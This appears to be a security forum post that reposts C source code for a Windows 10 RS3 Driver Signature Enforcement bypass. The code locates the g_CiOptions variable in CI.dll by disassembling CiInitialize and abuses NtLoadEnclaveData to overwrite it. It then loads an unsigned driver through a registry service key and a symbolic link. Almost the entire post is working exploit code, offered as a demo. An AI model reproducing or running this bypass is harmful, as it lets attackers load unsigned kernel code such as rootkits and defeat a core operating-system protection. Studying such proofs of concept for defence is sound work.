Jump to content
Nytro

NtLoadEnclaveData Windows 10 RS3 DSE bypass

Recommended Posts

Posted
#include "global.h"

HINSTANCE  g_hInstance;
HANDLE     g_ConOut = NULL;
BOOL       g_ConsoleOutput = FALSE;
WCHAR      g_BE = 0xFEFF;

RTL_OSVERSIONINFOW g_osv;

#define CI_DLL          "ci.dll"

#define T_PROGRAMTITLE   TEXT("NtLoadEnclaveData write to address Demo")
#define T_PROGRAMUNSUP   TEXT("Unsupported WinNT version\r\n")
#define T_PROGRAMRUN     TEXT("Another instance running, close it before\r\n")
#define T_PROGRAMINTRO   TEXT("NtLoadEnclaveData demo started\r\n(c) 2017 Project Authors\r\nSupported x64 OS : 10 RS3\r\n")

#define DUMMYDRVREG L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DummyDrv"

NTSTATUS NativeAdjustPrivileges(
    _In_ ULONG Privilege
)
{
    NTSTATUS Status;
    HANDLE TokenHandle;

    LUID Luid;
    TOKEN_PRIVILEGES TokenPrivileges;

    Luid.LowPart = Privilege;
    Luid.HighPart = 0;

    TokenPrivileges.PrivilegeCount = 1;
    TokenPrivileges.Privileges[0].Luid = Luid;
    TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    Status = NtOpenProcessToken(
        NtCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
        &TokenHandle);

    if (NT_SUCCESS(Status)) {
        Status = NtAdjustPrivilegesToken(
            TokenHandle,
            FALSE,
            &TokenPrivileges,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            NULL);

        NtClose(TokenHandle);
    }

    if (Status == STATUS_NOT_ALL_ASSIGNED)
        Status = STATUS_PRIVILEGE_NOT_HELD;

    return Status;
}

NTSTATUS NativeLoadDriver(
    _In_ PWSTR DrvFullPath,
    _In_ PWSTR KeyName,
    _In_opt_ PWSTR DisplayName,
    _In_ BOOL ReloadDrv
)
{
    UNICODE_STRING ValueName, drvName;
    OBJECT_ATTRIBUTES attr;

    HANDLE hDrvKey;
    ULONG data, dataSize = 0;
    NTSTATUS ns = STATUS_UNSUCCESSFUL;
    hDrvKey = NULL;

    __try
    {
        if (!ARGUMENT_PRESENT(KeyName)) {
            ns = STATUS_OBJECT_NAME_NOT_FOUND;
            __leave;
        }

        RtlInitUnicodeString(&drvName, KeyName);
        InitializeObjectAttributes(&attr, &drvName, OBJ_CASE_INSENSITIVE, 0, NULL);
        ns = NtCreateKey(&hDrvKey, KEY_ALL_ACCESS, &attr, 0, NULL, REG_OPTION_NON_VOLATILE, NULL);
        if (!NT_SUCCESS(ns)) {
            __leave;
        }

        if (ARGUMENT_PRESENT(DrvFullPath)) {
            RtlInitUnicodeString(&ValueName, L"ImagePath");
            dataSize = (ULONG)(1 + _strlen(DrvFullPath)) * sizeof(WCHAR);
            ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_EXPAND_SZ, (PVOID)DrvFullPath, dataSize);
            if (!NT_SUCCESS(ns)) {
                __leave;
            }
        }

        data = 1;
        RtlInitUnicodeString(&ValueName, L"Type");
        ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
        if (!NT_SUCCESS(ns)) {
            __leave;
        }

        data = 3;
        RtlInitUnicodeString(&ValueName, L"Start");
        ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
        if (!NT_SUCCESS(ns)) {
            __leave;
        }

        data = SERVICE_ERROR_NORMAL;
        RtlInitUnicodeString(&ValueName, L"ErrorControl");
        ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
        if (!NT_SUCCESS(ns)) {
            __leave;
        }

        if (ARGUMENT_PRESENT(DisplayName)) {
            RtlInitUnicodeString(&ValueName, L"DisplayName");
            dataSize = (ULONG)(1 + _strlen(DisplayName)) * sizeof(WCHAR);
            ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_SZ, DisplayName, dataSize);
            if (!NT_SUCCESS(ns)) {
                __leave;
            }
        }
        NtClose(hDrvKey);
        hDrvKey = NULL;

        ns = NtLoadDriver(&drvName);
        if (ns == STATUS_IMAGE_ALREADY_LOADED) {
            if (ReloadDrv == TRUE) {
                NtUnloadDriver(&drvName); //unload previous driver version
                NtYieldExecution();
                ns = NtLoadDriver(&drvName);
            }
            else {
                ns = STATUS_SUCCESS;
            }
        }

    }
    __finally {
        if (hDrvKey != NULL) {
            NtClose(hDrvKey);
        }
    }
    return ns;
}

LONG QueryCiOptions(
    _In_ PVOID MappedBase,
    _Inout_ ULONG_PTR *KernelBase
)
{
    PBYTE        CiInitialize = NULL;
    ULONG        c, j = 0;
    LONG         rel = 0;
    hde64s hs;

    CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize");
    if (CiInitialize == NULL)
        return 0;

    if (g_osv.dwBuildNumber > 16199) {

        c = 0;
        j = 0;
        do {

            /* call CipInitialize */
            if (CiInitialize[c] == 0xE8)
                j++;

            if (j > 1) {
                rel = *(PLONG)(CiInitialize + c + 1);
                break;
            }

            hde64_disasm(CiInitialize + c, &hs);
            if (hs.flags & F_ERROR)
                break;
            c += hs.len;

        } while (c < 256);

    }
    else {

        c = 0;
        do {

            /* jmp CipInitialize */
            if (CiInitialize[c] == 0xE9) {
                rel = *(PLONG)(CiInitialize + c + 1);
                break;
            }
            hde64_disasm(CiInitialize + c, &hs);
            if (hs.flags & F_ERROR)
                break;
            c += hs.len;

        } while (c < 256);

    }

    CiInitialize = CiInitialize + c + 5 + rel;
    c = 0;
    do {

        if (*(PUSHORT)(CiInitialize + c) == 0x0d89) {
            rel = *(PLONG)(CiInitialize + c + 2);
            break;
        }
        hde64_disasm(CiInitialize + c, &hs);
        if (hs.flags & F_ERROR)
            break;
        c += hs.len;

    } while (c < 256);

    CiInitialize = CiInitialize + c + 6 + rel;

    *KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase;

    return rel;
}

ULONG_PTR QueryVariableAddress(
    VOID
)
{
    LONG rel = 0;
    ULONG_PTR Result = 0, ModuleKernelBase = 0;
    CHAR *szModuleName;
    WCHAR *wszErrorEvent, *wszSuccessEvent;
    PVOID MappedBase = NULL;

    CHAR szFullModuleName[MAX_PATH * 2];

    szModuleName = CI_DLL;
    wszErrorEvent = TEXT("Ldr: CI.dll loaded image base not recognized");
    wszSuccessEvent = TEXT("Ldr: CI.dll loaded for pattern search");

    ModuleKernelBase = supGetModuleBaseByName(szModuleName);
    if (ModuleKernelBase == 0) {
        cuiPrintText(g_ConOut,
            wszErrorEvent,
            g_ConsoleOutput, TRUE);
        return 0;
    }

    szFullModuleName[0] = 0;
    if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH))
        return 0;
    _strcat_a(szFullModuleName, "\\");
    _strcat_a(szFullModuleName, szModuleName);

   // _strcpy(szFullModuleName, "C:\\malware\\ci.dll");

    MappedBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (MappedBase) {

        cuiPrintText(g_ConOut,
            wszSuccessEvent,
            g_ConsoleOutput, TRUE);

        rel = QueryCiOptions(
            MappedBase,
            &ModuleKernelBase);

        if (rel != 0) {
            Result = ModuleKernelBase;
        }
        FreeLibrary(MappedBase);
    }
    else {
        wszErrorEvent = TEXT("Ldr: Cannot load CI.dll");
        cuiPrintText(g_ConOut,
            wszErrorEvent,
            g_ConsoleOutput, TRUE);
    }

    return Result;
}

VOID LoadDriver()
{
    NTSTATUS Status;

    HANDLE Link = NULL;

    UNICODE_STRING str, drvname;
    OBJECT_ATTRIBUTES Obja;

    WCHAR szBuffer[MAX_PATH + 1];

    Status = NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE);
    if (!NT_SUCCESS(Status)) {
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        _strcpy(szBuffer, TEXT("Ldr: NativeAdjustPrivileges result = 0x"));
        ultohex(Status, _strend(szBuffer));
        cuiPrintText(g_ConOut,
            szBuffer,
            g_ConsoleOutput, TRUE);
        return;
    }

    _strcpy(szBuffer, L"\\??\\");
    _strcat(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer);
    _strcat(szBuffer, L"dummy.sys");

    RtlInitUnicodeString(&str, L"\\*");
    RtlInitUnicodeString(&drvname, szBuffer);
    InitializeObjectAttributes(&Obja, &str, OBJ_CASE_INSENSITIVE, 0, NULL);

    Status = NtCreateSymbolicLinkObject(&Link, SYMBOLIC_LINK_ALL_ACCESS, &Obja, &drvname);
    if (!NT_SUCCESS(Status)) {
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        _strcpy(szBuffer, TEXT("Ldr: NtCreateSymbolicLinkObject result = 0x"));
        ultohex(Status, _strend(szBuffer));
        cuiPrintText(g_ConOut,
            szBuffer,
            g_ConsoleOutput, TRUE);
    }
    else {

        Status = NativeLoadDriver(L"\\*", DUMMYDRVREG, NULL, TRUE);
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        _strcpy(szBuffer, TEXT("Ldr: NativeLoadDriver result = 0x"));
        ultohex(Status, _strend(szBuffer));
        cuiPrintText(g_ConOut,
            szBuffer,
            g_ConsoleOutput, TRUE);

        if (Link)
            NtClose(Link);
    }
}

typedef NTSTATUS(NTAPI *pfnNtLoadEnclaveData)(
    ULONG_PTR Param1,
    ULONG_PTR Param2,
    ULONG_PTR Param3,
    ULONG_PTR Param4,
    ULONG_PTR Param5,
    ULONG_PTR Param6,
    ULONG_PTR Param7,
    ULONG_PTR Param8,
    ULONG_PTR Param9
    );

pfnNtLoadEnclaveData NtLoadEnclaveData;

UINT NtLoadEnclaveDataDemo()
{
    NTSTATUS Status = STATUS_SUCCESS;
    HMODULE hNtdll;
    ULONG_PTR g_CiOptions = 0;
    WCHAR *wszErrorEvent;
    WCHAR szBuffer[MAX_PATH];

    g_CiOptions = QueryVariableAddress();
    if (g_CiOptions != 0) {
        _strcpy(szBuffer, TEXT("Ldr: CI.dll->g_CiOptions found at 0x"));
        u64tohex(g_CiOptions, _strend(szBuffer));
        cuiPrintText(g_ConOut,
            szBuffer,
            g_ConsoleOutput, TRUE);
    }
    else {
        wszErrorEvent = TEXT("Ldr: CI.dll->g_CiOptions address not found.");
        cuiPrintText(g_ConOut,
            wszErrorEvent,
            g_ConsoleOutput, TRUE);

        return 0;
    }

    hNtdll = GetModuleHandle(TEXT("ntdll.dll"));
    if (hNtdll) {
        NtLoadEnclaveData = (pfnNtLoadEnclaveData)GetProcAddress(hNtdll,
            "NtLoadEnclaveData");

        if (NtLoadEnclaveData) {

            Status = NtLoadEnclaveData(0x00007FFFFFFFFFFF,
                0x00007FFFFFFFFFFE,
                0x00007FFFFFFEFFFE,
                0x000000000000FFFF,
                0x00007FFFFFFEFFFE,
                0x00007FFFFFFFFFFF,
                0xFFFF800000000000,
                0x000000000000FFFF,
                g_CiOptions);

            RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
            _strcpy(szBuffer, TEXT("Ldr: NtLoadEnclaveData returned with status = 0x"));
            ultohex((ULONG)Status, _strend(szBuffer));
            cuiPrintText(g_ConOut,
                szBuffer,
                g_ConsoleOutput, TRUE);

            if (Status == STATUS_ACCESS_VIOLATION) {
                _strcpy(szBuffer, TEXT("Ldr: Attempt to load unsigned demo driver"));
                cuiPrintText(g_ConOut,
                    szBuffer,
                    g_ConsoleOutput, TRUE);
                LoadDriver();
            }
        }
        else {
            wszErrorEvent = TEXT("Ldr: NtLoadEnclaveData procedure not found.");
            cuiPrintText(g_ConOut,
                wszErrorEvent,
                g_ConsoleOutput, TRUE);
        }
    }

    return (UINT)Status;
}

void DSEFixMain()
{
    BOOL bCond = FALSE;
    UINT uResult = 0;
    DWORD dwTemp;
    WCHAR text[256];

    __security_init_cookie();

    do {
        g_hInstance = GetModuleHandle(NULL);
        g_ConOut = GetStdHandle(STD_OUTPUT_HANDLE);
        if (g_ConOut == INVALID_HANDLE_VALUE) {
            uResult = (UINT)-1;
            break;
        }
        g_ConsoleOutput = TRUE;
        if (!GetConsoleMode(g_ConOut, &dwTemp)) {
            g_ConsoleOutput = FALSE;
        }
        SetConsoleTitle(T_PROGRAMTITLE);
        SetConsoleMode(g_ConOut, ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT | ENABLE_PROCESSED_OUTPUT);
        if (g_ConsoleOutput == FALSE) {
            WriteFile(g_ConOut, &g_BE, sizeof(WCHAR), &dwTemp, NULL);
        }

        cuiPrintText(g_ConOut,
            T_PROGRAMINTRO,
            g_ConsoleOutput, TRUE);

        RtlSecureZeroMemory(&g_osv, sizeof(g_osv));
        g_osv.dwOSVersionInfoSize = sizeof(g_osv);
        RtlGetVersion((PRTL_OSVERSIONINFOW)&g_osv);
#ifndef _DEBUG
        if ((g_osv.dwBuildNumber < 16199) || (g_osv.dwBuildNumber > 16241)) {
            cuiPrintText(g_ConOut,
                T_PROGRAMUNSUP,
                g_ConsoleOutput, TRUE);
            uResult = (UINT)-1;
            break;
        }
#endif

        _strcpy(text, TEXT("Ldr: Windows v"));
        ultostr(g_osv.dwMajorVersion, _strend(text));
        _strcat(text, TEXT("."));
        ultostr(g_osv.dwMinorVersion, _strend(text));
        _strcat(text, TEXT(" build "));
        ultostr(g_osv.dwBuildNumber, _strend(text));
        cuiPrintText(g_ConOut, text, g_ConsoleOutput, TRUE);

        uResult = NtLoadEnclaveDataDemo();

        cuiPrintText(g_ConOut,
            TEXT("Ldr: Exit"),
            g_ConsoleOutput, TRUE);

    } while (bCond);

    ExitProcess(uResult);
}

hfiref0x

 

Sursa: https://gist.github.com/hfiref0x/1ac328a8e73d053012e02955d38e36a8

 

 

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...